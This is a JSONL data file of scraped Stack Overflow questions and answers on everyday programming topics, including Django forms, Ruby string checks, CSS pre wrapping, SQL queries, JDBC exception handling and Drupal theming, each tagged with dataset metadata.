{"id": "hf_c789c958bcf6", "question": "<p>I have the following code in my Django application:</p>\n\n<pre><code>if 'book' in authorForm.changed_data:\n   #Do something here...\n</code></pre>\n\n<p>I realize Django can tell me which values have changed in my form by utilizing the \"changed_data\" list object, but I'd like to know the new values of the fields that have changed.</p>\n\n<p>Any thoughts?</p>\n", "question_body": "", "answer": "Hmm... Try this:\n```\n```\nif authorForm.is_valid() and 'book' in authorForm.changed_data:\n    new_value = authorForm.cleaned_data['book']\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.744510"}
{"id": "hf_df86b9eeda28", "question": "<p>I have a PHP client that requests an XML file over HTTP (i.e. loads an XML file via URL).  As of now, the XML file is only several KB in size.  A problem I can foresee is that the XML becomes several MBs or Gbs in size.  I know that this is a huge question and that there are probably a myriad of solutions, but What ideas do you have to transport this data to the client?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Gallery2, which allows you to upload photos over http, makes you set up a couple of php parameters,\n```\npost_max_size\n```\nand\n```\nupload_max_filesize\n```\n, to allow larger uploads.  You might want to look into that.\nIt seems to me that posting large files has problems with browser time-outs and the like, but on the plus side it works with proxy servers and firewalls better than trying a different file upload protocol.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.768289"}
{"id": "hf_b79e859962f0", "question": "<p>Is there a better way than the following to check to see if a string is nil OR has a length of 0 in Ruby?</p>\n\n<pre class=\"lang-ruby prettyprint-override\"><code>if !my_string || my_string.length == 0\n  return true\nelse\n  return false\nend\n</code></pre>\n\n<p>In C# there's the handy</p>\n\n<pre class=\"lang-csharp prettyprint-override\"><code>string.IsNullOrEmpty(myString)\n</code></pre>\n\n<p>Anything similar to that in Ruby?</p>\n", "question_body": "", "answer": "Every class has a\n```\nnil?\n```\nmethod:\n```\n```\nif a_variable.nil?\n    # the variable has a nil value\nend\n```\n```\nAnd strings have the\n```\nempty?\n```\nmethod:\n```\n```\nif a_string.empty?\n    # the string is empty\n}\n```\n```\nRemember that a string does\nnot\nequal\n```\nnil\n```\nwhen it is empty, so use the\n```\nempty?\n```\nmethod to check if a string is empty.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.842264"}
{"id": "hf_b0f37d5ef5e2", "question": "<p>I have a Tab Control with multiple Tab Pages. I want to be able to fade the tabs back and forth. I don't see an opacity option on the Tab Controls. Is there a way to cause a fade effect when I switch from one Tab Page to another?</p>\n", "question_body": "", "answer": "There is no magic Fade switch in the standard windows control.\nYou could dump the content of the tab to a bitmap (using\nDrawToBitmap\nor\nCopyFromScreen\n?), show that bitmap in front of the TabControl, switch tabs, and then fade the bitmap.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.866451"}
{"id": "hf_fe3af673be7f", "question": "<p>Exception: Failed to compare two elements in the array.</p>\n\n<pre><code>private void assignNames(DropDownList ddl, Hashtable names)\n{\n    List&lt;ListItem&gt; nameList = new List&lt;ListItem&gt;();\n    if (ddl != null)\n    {\n        ddl.ClearSelection();\n        ddl.Items.Add(new ListItem(\"Select Author\"));\n        foreach (string key in names.Keys)\n        {\n            nameList.Add(new ListItem(names[key].ToString(), key));\n\n        }\n\n    nameList.Sort();\n}\n</code></pre>\n\n<p>So how can I use Sort() to compare on the \"names\" and not get stuck on the key?</p>\n", "question_body": "", "answer": "what type of object is \"names\"?\nEDIT:\nFrom what I can tell you will have to specify an IComparer for this to work, not sure if I fully understand what you are trying to do though.\nEDIT:\nThis is way too complicated for what I \"feel\" your intent is, you basically want to populate a dropdown list with a sorted list of Author names.\nyou should be able to have a\n```\n```\nList<string> auhtorNames;\nauthorNames.Sort();\nddl.DataSource = authorNames;\nddl.DataBind();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.901868"}
{"id": "hf_2ca7f92fe829", "question": "<p>I was recently put in charge of the wiki for the development team. The wiki is still in its infancy, so I have a lot of room to work with. It goal is to house internal to the development team. Currently, the main piece of information that the wiki holds is Coding Standards. </p>\n\n<ul>\n<li>What are some best practices your dev team uses for its internal wiki?</li>\n<li>What information is important to have on a dev wiki? </li>\n<li>If you were to go to the wiki for your dev team what information would you expect to see? </li>\n<li>Is there some information that shouldn't go on the wiki even though it seems like a good idea?</li>\n</ul>\n\n<p>-- edit --</p>\n\n<ul>\n<li>Also, is there a good way to organize the information? ( such as by layer ( data, ui), by porject, or other) </li>\n</ul>\n", "question_body": "", "answer": "Introduction to the source base for new programmers\nGeneral documentation (not the API documentation per-se, but more tutorial like things)\nLists of staff / who's doing what and how to reach them\nNotes / resources / articles that explain concepts used in the software\nDocumentation of the build process and the filesystem layout of the codebase\nOther things I usually put up there are\nPlanning / todo lists\nInformation that is interesting for others to read\nEverything else that I feel should be shared", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.929731"}
{"id": "hf_75191ee78632", "question": "<p>I have this in some WSDL:</p>\n<pre><code>&lt;element name=&quot;startDate&quot; type=&quot;xsd:dateTime&quot;/&gt;\n&lt;element name=&quot;endDate&quot; type=&quot;xsd:dateTime&quot;/&gt;\n</code></pre>\n<p>Which results in the following text in the SOAP envelope:</p>\n<pre><code>&lt;startDate&gt;2008-10-29T12:01:05&lt;/startDate&gt;\n&lt;endDate&gt;2008-10-29T12:38:59.65625-04:00&lt;/endDate&gt;\n</code></pre>\n<p>Only some times have the milliseconds and zone offset. This causes me a headache because I'm trying to get a range of 37 minutes and 54 seconds in this example, but because of the offset I end up with 4 hours, 37 minutes, 54.65625 seconds. Is this some kind of rounding error in DateTime? How do I prevent this from happening?</p>\n", "question_body": "", "answer": "What are you using to generate the date?  If you are building this XML in your code rather than using some serializer (WCF or XmlSerializer) you could use System.Xml.XmlConvert to generate and interpret the date as follows:\nTo create the string to put in the XML:\n```\n```\nDateTime startDate = DateTime.Now;\nstring startDateString = System.Xml.XmlConvert.ToString(startDate);\n```\n```\nTo get the date out of the XML:\n```\n```\nDateTime startDateFromXml = System.Xml.XmlConvert.ToDateTime(startDateString);\n```\n```\nIf you start with two DateTime instances that differ by 37 minutes and 54 seconds before you push them into XML they will still differ by 37 minutes and 54 seconds after you pull them out of the XML.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.952633"}
{"id": "hf_aab3eff7f5a4", "question": "<p>How does one setup DUnit Testing in a Midas/DataSnap project in Delphi 2006   </p>\n\n<p>Edit </p>\n\n<p>How does one set up a Dunit Test into a TRemoteDataModule \nThe project wizard in Delphi 2006 does not work with TRemoteDataModule </p>\n", "question_body": "", "answer": "The question doesn't entirely make sense.  Unit tests are performed in a separate project, not within your DataSnap server. Generally, tests which connect to a database are integration tests rather than unit tests.  What is it, exactly that you want to test?  If it's utility methods within, say, a TRemoteDataModule, you should extract those out into a separate class as class methods, and test them there.  You should not have to instantiate an application server to perform unit tests.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.975692"}
{"id": "hf_02e777f801b5", "question": "<p>I would like to display a Drupal view without the page template that normally surrounds it - I want just the plain HTML content of the view's nodes.</p>\n\n<p>This view would be included in another, non-Drupal site.</p>\n\n<p>I expect to have to do this with a number of views, so a solution that lets me set these up rapidly and easily would be the best - I'd prefer not to have to create a .tpl.php file every time I need to include a view somewhere.</p>\n", "question_body": "", "answer": "there are probably a number of ways around this, however, the \"easiest\" may be just setting your own custom theme, and having the page.tpl.php just be empty, or some random divs\n```\n```\n// page.tpl.php\n<div id=\"page\"><?php print $content ?></div>\n```\n```\nthis method would basically just allow node.tpl.php to show (or any of drupal's form views, etc...) and would be an easy way to avoid modifying core, or having to alter the theme registry to avoid displaying page.tpl.php in the first place.\nedit\n: see comments\nok i played around with views a bit, it looks like it takes over and constructs it's own \"node.tpl.php\" (in a sense) for display within \"page.tpl.php\". on first glance, my gut feeling would be to hook into\n```\ntheme_registry_alter()\n```\n.\nwhen you're looking at a views page, you have access to piles of information here, as well as the page.tpl.php paths/files. as such i would do something like:\n```\n```\nfunction modulejustforalteration_theme_registry_alter(&$variables) {\n  if (isset($variables['views_ui_list_views']) ) {\n  // not sure if that's the best index to test for \"views\" but i imagine it'll work\n  // as well as others\n    $variables['page']['template'] = 'override_page';        \n  }\n}\n```\n```\nthis should allow you to use a \"override_page.tpl.php\" template in your current theme in which you can remove anything you want (as my first answer above).\na few things:\nas i said, not sure if\n```\nviews_ui_list_views\n```\nis always available to check against, but it sounds like it should be set if we're looking at a view\nyou can alter the\n```\ntheme paths\n```\nof the\n```\npage\n```\narray if you prefer (to change the location of where drupal will look for page.tpl.php, instead of renaming it altogether)\nthere doesn't appear to be any identifiers for this specific view, so this method might be an \"all views will be stripped\" approach. if you need to strip the page.tpl.php for a specific view only, perhaps hooking into\n```\ntemplate_preprocess_page()\n```\nmight be a better idea.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:36.998599"}
{"id": "hf_14830a6eb640", "question": "<p><code>pre</code> tags are super-useful for code blocks in HTML and for debugging output while writing scripts, but how do I make the text word-wrap instead of printing out one long line?</p>\n", "question_body": "", "answer": "The answer, from\nthis page\nin CSS:\n```\n```\npre {\n    white-space: pre-wrap;       /* Since CSS 2.1 */\n    white-space: -moz-pre-wrap;  /* Mozilla, since 1999 */\n    white-space: -pre-wrap;      /* Opera 4-6 */\n    white-space: -o-pre-wrap;    /* Opera 7 */\n    word-wrap: break-word;       /* Internet Explorer 5.5+ */\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:37.034937"}
{"id": "hf_6be3678b0f09", "question": "<p>I have a GIF image that has an alpha set, and when my site loads in Firefox 3.0, it acts transparently on the parts of the image that should.  However, when I try to load the GIF image in IE7, it comes back as a solid block.  Actually, it is like the color from the image bled into the transparent area.</p>\n\n<p>Do anyone have any suggestions for resolving this kind of problem?  Pointers on what to look into, or a route you've used to solve this kind of problem.</p>\n\n<p>I've been controlling this in CSS -- and while I'd like to avoid the conditional comments route and multiple CSSes, I'd be willing if the suggestion tangibly shows how I can resolve the IE compatibility problems.</p>\n\n<p>Thanks,\nSean</p>\n", "question_body": "", "answer": "Try these two -- mess with the numbers until you get it right. i 4get which is for IE and which is FF/chrome\n```\n```\nopacity: 7;\nfilter: alpha(Opacity=7);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:37.070276"}
{"id": "hf_0edb18951407", "question": "<p>I'm checking for existing of a row in in_fmd, and the ISBN I look up can be the ISBN parameter, or another ISBN in a cross-number table that may or may not have a row.</p>\n\n<pre><code>select count(*)\nfrom in_fmd i\nwhere (description='GN')\n    and ( i.isbn in\n    (\n        select bwi_isbn from bw_isbn where orig_isbn = ?\n        union all\n        select cast(? as varchar) as isbn\n    )\n) \n</code></pre>\n\n<p>I don't actually care about the count of the rows, but rather mere existence of at least one row.</p>\n\n<p>This used to be three separate queries, and I squashed it into one, but I think there's room for more improvement.  It's PostgreSQL 8.1, if it matters.</p>\n", "question_body": "", "answer": "Why bother with the\n```\nUNION ALL\n```\n```\n```\nselect count(*)\nfrom in_fmd i\nwhere (description='GN')\n    and (\n        i.isbn in (\n            select bwi_isbn from bw_isbn where orig_isbn = ?\n        )\n        or i.isbn = cast(? as varchar)\n    )\n```\n```\nI would probably use a\n```\nLEFT JOIN\n```\n-style query instead of the\n```\nIN\n```\n, but that's more personal preference:\n```\n```\nselect count(*)\nfrom in_fmd i\nleft join bw_isbn\n    on bw_isbn.bwi_isbn = i.isbn\n    and bw_isbn.orig_isbn = ?\nwhere (i.description='GN')\n    and (\n        bw_isbn.bwi_isbn is not null\n        or i.isbn = cast(? as varchar)\n    )\n```\n```\nThe inversion discussed over IM:\n```\n```\nSELECT SUM(ct)\nFROM (\n    select count(*) as ct\n    from in_fmd i\n    inner join bw_isbn\n        on bw_isbn.bwi_isbn = i.isbn\n        and bw_isbn.orig_isbn = ?\n        and i.isbn <> cast(? as varchar)\n        and i.description = 'GN'\n\n    UNION\n\n    select count(*) as ct\n    from in_fmd i\n    where i.isbn = cast(? as varchar)\n        and i.description = 'GN'\n) AS x\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:37.133801"}
{"id": "hf_d08daabfe92a", "question": "<p>The only method provided by the DNN framework to get a module by ID also required a tab ID.  What can I do if I don't <em>have</em> a tab ID?</p>\n", "question_body": "", "answer": "The GetModule method off of the DotNetNuke.Entities.Modules.ModuleController class will accept a \"null\" value for tab ID if you don't have a tab ID.  That is, try the following:\n```\n```\nnew ModuleController().GetModule(moduleId, DotNetNuke.Common.Utilities.Null.NullInteger)\n```\n```\nSee also\nmy blog post on the subject\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:37.157352"}
{"id": "hf_5a7cda608106", "question": "<p>By default, I think my vimrc setttings enable the auto-wrapping. However, sometimes, I would like to see text lines are not wrapped. Is there any command I toggle the text line wrapping enabled and disabled? This would avoid me to exit and to change settings.</p>\n", "question_body": "", "answer": "```\n```\n:set nowrap\n```\n```\nThere is also the\n```\nlinebreak\n```\noption that controls whether wrapped text is broken at word boundaries or not.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:37.191690"}
{"id": "hf_877430452304", "question": "<p>I don't use Eclipse as an IDE, and have no interest in doing so.  However, I do like its source-level debugging.</p>\n\n<p>Is there any way I can use it to debug a C++ Linux app without going through the ritual of creating a project?  (In effect, can I just use it like a frontend to gdb?)</p>\n\n<p>If not, what are the steps I need to follow to create a project that I can use to just debug an existing C++ program that is built using Makefiles or other tools (SCons, CMake, etc.).  I don't want to be able to \"develop\" in Eclipse; all I need to do is debug.</p>\n", "question_body": "", "answer": "Take a look at\nthis question\n. Create a C/C++-project, use your project's source directory as project directory, select to use the external builder, and change \"make\" to whatever tool you want.\nThe tricky part is to get the indexer to work correctly and find all your header files.\nEDIT: CMake 2.6.x has support for generating CDT project files, which might be a more straightforward solution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:37.214064"}
{"id": "hf_1e4de4bef60a", "question": "<p>I am working on a legacy ASP application. I am attempting to insert a value (40.33) into a field in SQL Server 2000 that happens to be a float type.  Every place I can see (via some logging) in the application is sending 40.33 to the Stored Procedure.  When I run SQL Profiler against the database while the call is happening, the value that I see in the trace is 4.033000183105469e+001</p>\n\n<p>Where is all the extra garbage coming from (the 183105469)?</p>\n\n<p>Why is it that when I pass in 40, or 40.25 there is nothing extra?</p>\n\n<p>Is this just one of the weird side effects of using float?  When I am writing something I normally use money or decimal or something else, so not that familiar with the float datatype.</p>\n", "question_body": "", "answer": "I think this is probably just a precision issue - the 0.33 part of the number can't be represented exactly in binary - this is probably the closest that you can get to.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:37.275252"}
{"id": "hf_0244dc5b89ba", "question": "<p>I have a block of product images we received from a customer.  Each product image is a picture of something and it was taken with a white background.  I would like to crop all the surrounding parts of the image but leave only the product in the middle.  Is this possible?</p>\n\n<p>As an example: [<a href=\"http://www.5dnet.de/media/catalog/product/d/r/dress_shoes_5.jpg][1]\" rel=\"noreferrer\">http://www.5dnet.de/media/catalog/product/d/r/dress_shoes_5.jpg][1]</a></p>\n\n<p>I don't want all white pixels removed, however I do want the image cropped so that the top-most row of pixels contains one non-white pixel, the left-most vertical row of pixels contains one non-white pixel, bottom-most horizontal row of pixels contains one non-white pixel, etc.</p>\n\n<p>Code in C# or VB.net would be appreciated.</p>\n", "question_body": "", "answer": "I've written code to do this myself - it's not too difficult to get the basics going.\nEssentially, you need to scan pixel rows/columns to check for non-white pixels and isolate the bounds of the product image, then create a new bitmap with just that region.\nNote that while the\n```\nBitmap.GetPixel()\n```\nmethod works, it's relatively slow. If processing time is important, you'll need to use\n```\nBitmap.LockBits()\n```\nto lock the bitmap in memory, and then some simple pointer use inside an\n```\nunsafe { }\n```\nblock to access the pixels directly.\nThis article\non CodeProject gives some more details that you'll probably find useful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:37.311321"}
{"id": "hf_f4533024e7c9", "question": "<p><code>Connection.close()</code> may throw <code>SqlException</code>, but I have always assumed that it is safe to ignore any such exceptions (and I have never seen code that does not ignore them). </p>\n\n<p>Normally I would write:</p>\n\n<pre><code> try{\n    connection.close();\n }catch(Exception e) {}\n</code></pre>\n\n<p>Or </p>\n\n<pre><code> try{\n    connection.close();\n }catch(Exception e) {\n     logger.log(e.getMessage(), e); \n }\n</code></pre>\n\n<p>The question is:</p>\n\n<ol>\n<li>Is it bad practice (and has anyone had problems when ignoring such exceptions).</li>\n<li>When <code>Connection.close()</code> does throw any exception.  </li>\n<li>If it is bad how should I handle the exception. </li>\n</ol>\n\n<p>Comment: </p>\n\n<p>I know that discarding exceptions is evil, but I'm reffering only to exceptions thrown when closing a connection (and as I've seen this is fairly common in this case). </p>\n\n<p>Does anyone know when <code>Connection.close()</code> may throw anything? </p>\n", "question_body": "", "answer": "In general, I've had days wasted by people throwing away exceptions like that.\nI recommend following a few basic rules with exceptions:\nIf you are ABSOLUTELY SURE you will NEVER cause a problem with a checked exception, catch JUST that exception and comment exactly why you don't need to handle it. (Sleep throws an InterruptedException that can always be ignored unless you actually are interested in it, but honestly this is the only case I usually ignore--even at that, if you never get it, what's the cost of logging it?)\nIf you are not sure, but you may get it occasionally, catch and log a stack trace just so that if it is causing a problem, it can be found.  Again, catch only the exception you need to.\nIf you don't see any way the checked exception can be thrown, catch it and re-throw it as an unchecked exception.\nIf you know exactly what is causing the exception, catch it and log exactly why, you don't really need a stack trace in this case if you are very clear as to what's causing it (and you might mention the class that's logging it if you're not already using log4j or something.\nIt sounds like your problem would fall into the last category, and for this kind of a catch, never do what you wrote (Exception e), always do the specific exception just in case some unchecked exception is thrown (bad parameters, null pointer, ...)\nUpdate:\nThe main problem here is that Checked Exceptions are ungood.  The only highly used language they exist in is Java. They are neat in theory, but in action they cause this behavior of catch and hide that you don't get with unchecked exceptions.\nA lot of people have commented on the fact that I said that hiding them is okay sometimes.  To be specific, the one case I can think of is:\n```\n```\ntry {\n    Thread.sleep(1000);\ncatch (InterruptedException e) {\n    // I really don't care if this sleep is interrupted!\n}\n```\n```\nI suppose the main reason I feel this use is okay is because this use of InterruptedException is an abuse of the checked exception pattern in the first place, it's communicating the result of a sleep more than indicating an exception condition.\nIt would have made much more sense to have:\n```\n```\nboolean interrupted=Thread.sleep(1000);\n```\n```\nBut they were very proud of their new checked exception pattern when they first created Java (understandably so, it's really neat in concept--only fails in practice)\nI can't imagine another case where this is acceptable, so perhaps I should have listed this as\nthe\nsingle case where it might be valid to ignore an exception.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:37.335431"}
{"id": "hf_62c3f53db56e", "question": "<p>I downloaded the free CodeRush Xpress version to try it.  Is there a way to change the colors it uses for it's highlighting and line drawing?  ie the matching braces.  I have a dark color scheme and my monitor I have VS on must suck because I can't see the lines.  Yet on the LCD I can.  Is there a way to change the colors?</p>\n", "question_body": "", "answer": "I use\nCodeRush Xpress 9.2\n. It is possible to configure some colors used for highlighting in the Options menu of\nCodeRush Xpress\n. You can find the menu in\nVisual Studio\nunder\nDevExpress\n->\nOptions\n. Go to the\nPainting\nsub-item of the\nEditor\nitem to control some of the colors used (among them\nNavigation Fields\n,\nNavigation Links\nand\nText fields\n).\nIf the\nDevExpress\nmenu doesn't appear in your\nVisual Studio\ninstallation, just press\n```\nAlt+Ctrl+Shift+O\n```\nto directly go to DevExpress Options. Or, if you permanently want the\nDevExpress\nmenu entry in\nVisual Studio\n, set the following registry key and restart it:\n```\n```\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Developer Express\\CodeRush for VS\\9.2]\n    \"HideMenu\"=dword:00000000\n```\n```\nThis works at least with\nVisual Studio 2005\nand\n2008\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:37.457379"}
{"id": "hf_89dd9beef624", "question": "<p>I work at a small company and our production system uses a hand-rolled RESTful API, implemented in Java with JAXB.  We now find that we're taking on customers who use Ruby on Rails, and I have to come up with a reference implementation to show customers how to use our API in Ruby. I'd love to be able to just tell them to use ActiveResource, but the XML required by our API uses (and absolutely requires) namespaces.  Unfortunately, we've already got a number of other customers who've already integrated this API, so removing the usage of namespaces is out of the question.  What's the best way to generate XML with namespaces in Ruby ?</p>\n", "question_body": "", "answer": "\"Best\" obviously depends on your needs.\nThe\nfastest\nway to generate any XML in ruby is to use\nlibxml-ruby\n-\nlink to rdoc\n.\nIf your server gets any kind of load at all, this will be the way to go.\nThe\neasiest\nway to generate any XML in ruby is to use\nREXML\nas it's part of the standard library and therefore it \"just works\". If your XML generation is something that hardly ever gets used, it's probably easier to just go with rexml.\nBoth support XML namespaces - check the rdocs to find out how to set and get namespaces", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:37.493798"}
{"id": "hf_c40d8adfe8ce", "question": "<p>A library using off_t as a parameter for one function (seek). Library and application are compiled differently, one with large file support switched off, the other with large file support. This situation results in strange runtime errors, because both interpret off_t differently. How can the library check at runtime the size of off_t for the app? Or is there another solution, so that at least the user gets a meaningful error?</p>\n\n<p>EDIT: The library (programmed in c and with autoconf) already exists and some third-party application use it. The library can be compiled with large file support (by default via AC_SYS_LARGEFILE). It is multiplatform, not only linux. How can be detected/prevented that installed applications will be broken by the change in LFS?</p>\n", "question_body": "", "answer": "You could add an API to the library to return the sizeof(off_t) and then check it from the client.  Alternatively the library could require every app to provide the API in order to successfully link:\nlibrary.c:\n```\n```\nsize_t lib_get_off_t_size (void)\n{\n    return (sizeof(off_t));\n}\n```\n```\nclient.c (init_function):\n```\n```\nif (lib_get_off_t_size() != sizeof(off_t) {\n    printf(\"Oh no!\\n\");\n    exit();\n}\n```\n```\nIf the library has an init function then you could put the check there, but then the client would have to supply the API to get the size of its off_t, which generally isn't how libraries work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:37.518085"}
{"id": "hf_9db5836958c3", "question": "<p>I have a helper class that is just a bunch of static methods and would like to subclass the helper class.  Some behavior is unique depending on the subclass so I would like to call a virtual method from the base class, but since all the methods are static I can't create a plain virtual method (need object reference in order to access virtual method). </p>\n\n<p>Is there any way around this?  I guess I could use a singleton.. HelperClass.Instance.HelperMethod() isn't so much worse than HelperClass.HelperMethod().  Brownie points for anyone that can point out some languages that support virtual static methods.</p>\n\n<p><strong>Edit:</strong> OK yeah I'm crazy. Google search results had me thinking I wasn't for a bit there.</p>\n", "question_body": "", "answer": "Virtual static methods don't make sense.  If I call\n```\nHelperClass.HelperMethod();\n```\n, why would I expect some random subclass' method to be called?  The solution really breaks down when you have 2 subclasses of\n```\nHelperClass\n```\n- which one would you use?\nIf you want to have overrideable static-type methods you should probably go with:\nA singleton, if you want the same subclass to be used globally.\nA tradition class hierarchy, with a factory or dependency injection, if you want different behavior in different parts of your application.\nChoose whichever solution makes more sense in your situation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:37.566827"}
{"id": "hf_1cc49d3fa60e", "question": "<p>Given a date range, I need to know how many Mondays (or Tuesdays, Wednesdays, etc) are in that range.</p>\n\n<p>I am currently working in C#.</p>\n", "question_body": "", "answer": "Any particular language and therefore date format?\nIf dates are represented as a count of days, then the difference between two values plus one (day), and divide by 7, is most of the answer.  If both end dates are the day in question, add one.\nEdited:\ncorrected 'modulo 7' to 'divide by 7' - thanks.  And that is integer division.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:37.591262"}
{"id": "hf_05f8e7274170", "question": "<p>Suppose <code>xmlNode</code> is a XML DOM node, how do you get its XML system independently? </p>\n\n<p>For IE, it is <code>xmlNode.xml;</code></p>\n\n<p>For Netscape, it is <code>new XMLSerializer().serializeToString(xmlNode)</code>. </p>\n\n<p>In jQuery, is there any built-in method I can leverage?</p>\n", "question_body": "", "answer": "```\n```\n$(xmlNode).html();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:37.615582"}
{"id": "hf_c30e40099aec", "question": "<p>Two table:</p>\n\n<pre><code>StoreInfo:\nUserId uniqueidentifier\nStoreNo nvarchar\nUserName nvarchar\nPassword nvarchar\n\nUserInfo:\nUserId uniqueidentifier\nUserName nvarchar\nPassword nvarchar\n</code></pre>\n\n<p>the UserId on StoreInfo is currently null. How do i update StoreInfo's UserId with UserInfo's UserId based on StoreInfo's UserName and Password is match to the UserName and Password from UserInfo. </p>\n\n<p>the following is the query that i wrote which update the entire UserId in StoreInfo with the first UserId from UserInfo so i know it's wrong.</p>\n\n<pre><code>declare @UserName nvarchar(255)\ndeclare @Password nvarchar(25)\ndeclare @UserId uniqueidentifier\n\nselect @UserName = UserName, @Password = Password, @UserId = UserId\nfrom UserInfo\n\nselect UserId, Password \n   from FranchiseInfo \n   where UserID = @UserName and Password = @Password\n\nupdate FranchiseInfo\nset UserI = @UserId\n</code></pre>\n", "question_body": "", "answer": "```\n```\nUPDATE StoreInfo\n set UserId = ui.UserId\n from StoreInfo si\n  inner join UserInfo ui\n   on ui.UserName = si.UserName\n    and ui.Password = si.Password\n where si.UserId is null\n```\n```\nThis will update all rows in the table where UserId is not set.  Build out the where clause if you only want to update selected rows.  (I haven't tested this, so watch for typos!)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": 